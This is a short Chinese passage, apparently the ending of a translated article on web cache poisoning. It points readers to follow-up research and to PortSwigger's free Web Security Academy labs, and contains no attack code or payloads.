最后,我为人们建立了一个小挑战 (opens new window)来测试他们的知识,并期待着,想看看其他研究人员会将 Web 缓存投毒带到哪里。
# 7.12020年更新
你可以在我的后续文章《绕过 Web 缓存投毒防御策略》 (opens new window)和《Web 缓存纠缠:投毒的新途径》 (opens new window)中找到有关于此主题的进一步研究。
此外,我们还发布了一系列免费的交互式实验室,因此你可以作为我们 Web 安全学院的一部分,亲自尝试 Web 缓存投毒:
- name: 实验室
desc: Web 缓存投毒实验室 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo-2.png
link: https://portswigger.net/web-security/web-cache-poisoning
bgColor: '#ffffff'
textColor: '#ff6633'
2
3
4
5
6